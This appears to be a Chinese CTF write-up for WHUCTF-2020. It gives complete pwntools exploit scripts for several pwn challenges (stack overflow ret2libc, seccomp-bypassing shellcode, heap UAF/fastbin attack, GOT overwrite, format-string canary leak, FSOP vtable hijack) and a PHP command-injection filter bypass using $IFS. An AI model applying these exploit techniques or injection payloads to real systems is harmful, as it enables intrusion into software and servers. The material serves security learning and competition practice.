WHUCTF-2020 部分题目wp

这周比较闲🤣,看到老师把这个比赛发到了社团群里,就看了一下题目

比赛平台地址

pwn

pwnpwnpwn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
context.log_level='debug'
#p = process('./pwn')

p = remote('218.197.154.9',10004)
e = ELF('./pwn')
l = ELF('./libc-2.23.so')
#l = ELF('/lib/i386-linux-gnu/libc.so.6')
payload = 140*'A'
payload += p32(e.sym['write'])
payload += p32(e.sym['easyabc'])
payload += p32(1)
payload += p32(e.got['write'])
payload += p32(4)
p.recvuntil('?\n')
p.sendline(payload)
l.address = u32(p.recv(4)) - l.sym['write']
print hex(l.address)
payload = 140*'B'
payload += p32(l.sym['system'])
payload += p32(0x233)
payload += p32(l.search('/bin/sh').next())
p.recvuntil('?\n')
p.sendline(payload)
p.interactive()

shellcode

seccomp沙箱,禁用了execve系统调用,只能通过orw的shellcode来拿flag,问题是orw需要flag绝对路径,找到了一个可以将目录读到mem里的系统调用

图片

参考2019RCTF的一道题目https://kirin-say.top/2019/05/20/RCTF-2019-PWN/
这里需要修改一下write的size

找到目录为/FFFFFFFFFlag

图片

然后直接读就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
context.binary = './pwn'
context.log_level='debug'
#p = process('./pwn')
p = remote('218.197.154.9',10009)

sc = asm(shellcraft.cat(r'/FFFFFFFFFlag/flag'))
m="/"
s2=shellcraft.pushstr(m)+"\nmov rsi,0x10000\n\
mov rdi,rsp\n\
mov rax,2\n\
syscall\n\
mov rbx,rax\n\
mov rdi,rax\n\
mov rsi,rsp\n\
mov rdx,2048\n\
mov rax,0xd9\n\
syscall\n\
mov rdi,1\n\
mov rsi,rsp\n\
mov rdx,0x300\n\
mov [rsp+8],rax\n\
mov rax,1\n\
mov [rsp],rbx\n\
syscall"
p.recvuntil('Length of your shellcode:\n')
# p.send(str(len(asm(s2))))
p.send(str(len(sc)))
p.recvuntil('Your shellcode:\n')
# p.send(asm(s2))
p.send(sc)
# gdb.attach(p)
p.recvuntil('point:\n')
p.sendline('0')
p.interactive()

FFF

glibc堆利用入门题,free之后指针未清零导致uaf,结合fastbin attack可直接修改__malloc_hook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/env python
from pwn import *
context.log_level='debug'

def add(size):
p.sendlineafter('> ','1')
p.sendlineafter('size?\n', str(size))
def edit(idx, size, content):
p.sendlineafter('> ','2')
p.sendlineafter('index?\n', str(idx))
p.sendlineafter('size?\n', str(size))
p.send(content)
def show(idx):
p.sendlineafter('> ','3')
p.sendlineafter('index?\n', str(idx))
def free(idx):
p.sendlineafter('> ','4')
p.sendlineafter('index?\n', str(idx))

#p = process('./pwn')
p = remote('218.197.154.9',10007)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
add(0x68) # 0
add(0x68) # 1
add(0x100)# 2
add(0x10) # 3
# leak libc
free(2)
show(2)
libc.address = u64(p.recv(6).ljust(8,'\x00'))-88-0x10-libc.sym['__malloc_hook']
onegadget = libc.address + 283242 #983716 987463
# uaf
# __malloc_hook --> one_gadget
free(0)
free(1)
edit(1,8,p64(libc.sym['__malloc_hook']-0x23))
add(0x68) # 4
add(0x68) # 5
edit(5,0x20,'\x00'*0x13+p64(onegadget))
# gdb.attach(p)
# get shell
p.sendlineafter('> ','1')
p.sendlineafter('size?\n', str(10))
p.interactive()

attention

将操作次数错位成chunk size位,分配到全局指针ptr,然后修改got表即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/env python
from pwn import *
context.log_level='debug'
# [*] '/media/psf/pwn/whuctf/attention/attachment (1)/pwn'
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: No PIE (0x400000)

def add():
p.sendlineafter('choice :\n','1')
def edit(name, data):
p.sendlineafter('choice :\n','2')
p.sendafter('name:\n', name)
p.sendafter('data:\n', data)
def free():
p.sendlineafter('choice :\n','3')
def show():
p.sendlineafter('choice :\n','4')

#p = process('./pwn')
p = remote('218.197.154.9',10002)
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

for i in range(0x3d):
add()
free()
edit(p64(0x6010a0),'\x31')
add()
add() # malloc ptr
edit(p64(elf.got['atoi']),'A')
show()
# leak libc
p.recvuntil('name:')
libc.address = u64(p.recv(6).ljust(8,'\x00')) - libc.sym['atoi']
log.success('libc: --> %s' % hex(libc.address))
# exit@got --> onegadget
one_gadget = libc.address + 987463
edit(p64(libc.sym['atoi']),p64(one_gadget))
# gdb.attach(p)
p.sendlineafter('choice :\n','5')
p.interactive()

arbitrary

开了printf_chk,fmtstr 只能leak不能write,拿到libc地址和canary后,正常溢出覆盖返回地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env python
from pwn import *
context.log_level='debug'
#p = process('./pwn')
p = remote('218.197.154.9',10005)
p.sendlineafter('choice>>\n','3')
p.sendline('%p.'*10)
for i in range(5):
p.recvuntil('.')
code_base = int(p.recvuntil('.',drop=True),16)-0xca7
log.success('text: %s'%hex(code_base))
p.recvuntil('.')
canary = int(p.recvuntil('.',drop=True),16)-0xa
log.success('canary: %s'%hex(canary))
p.recvuntil('.')
libc_base = int(p.recvuntil('.',drop=True),16)-0x20830
log.success('libc: %s'%hex(libc_base))
p.sendlineafter('choice>>\n','2')
#p.recvuntil('data"\n\n')
sleep(1)
p.sendline('ssta')
one_gadget = libc_base + 283158 #283242 983716 987463
#p.recvuntil('data"\n\n')
sleep(1)
p.sendline('A'*56+p64(canary)+p64(0)+p64(one_gadget))
#gdb.attach(p)
p.interactive()

overflow

整数截断绕过长度限制,伪造stdout劫持vtables到bss上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python
from pwn import *
# context.log_level ='debug'
# p = process('./pwn')
p = remote('218.197.154.9',10006)
elf = ELF('./pwn')
libc = elf.libc
p.recvuntil('Gift:\n')
ptr_p =int(p.recvline().strip(),16)
log.success('Gift p: %s' % hex(ptr_p))
p.sendlineafter('Choice:','1')
p.sendlineafter('Offset:\n','-34')
p.recvuntil('data:\n\x00\x00')
libc.address = u64(p.recv(6).ljust(8,'\x00'))-0x3c5540
log.success('libc: %s' % hex(libc.address))
fake_stdout = ''
fake_stdout += p64(0x00000000fbad2887)+p64(libc.address+0x3c56a3)*7
fake_stdout += p64(libc.address+0x3c56a3+1)+p64(0)*4
fake_stdout += p64(libc.address+0x3c48e0)
fake_stdout += p64(1)+p64(0xffffffffffffffff)
fake_stdout += p64(0x000000000a000000)+p64(libc.address+0x3c6780)
fake_stdout += p64(0xffffffffffffffff)+p64(0)
fake_stdout += p64(libc.address+0x3c47a0)+p64(0)*3
fake_stdout += p64(0x00000000ffffffff)+p64(0)*2
fake_stdout += p64(ptr_p+0xe0)
one_gadget = libc.address+987463
fake_vtalbe = p64(0)*2
fake_vtalbe += p64(one_gadget)*20

p.sendlineafter('Choice:','2')
p.sendlineafter('Offset:\n','0')
p.sendlineafter('Size:\n',str(0xffff0050))
p.sendafter('Input data:\n',fake_stdout+fake_vtalbe)

p.sendlineafter('Choice:','2')
p.sendlineafter('Offset:\n','-64')
p.sendlineafter('Size:\n',str(8))
# gdb.attach(p)
p.sendafter('Input data:\n',p64(ptr_p))
# gdb.attach(p)
p.interactive()

heaptrick

太菜了QAQ,不会做!坐等wp

web

ezcmd

给了源码可以看到过滤的有点多,但是没过滤$

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("no space!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("no flag");
} else if(preg_match("/tac|rm|echo|cat|nl|less|more|tail|head/", $ip)){
die("cat't read flag");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
highlight_file(__FILE__);

?>

so..变量替换可以直接过

1
a=ca;b=t;d=ag.php;c=fl;$a$b$IFS$c$d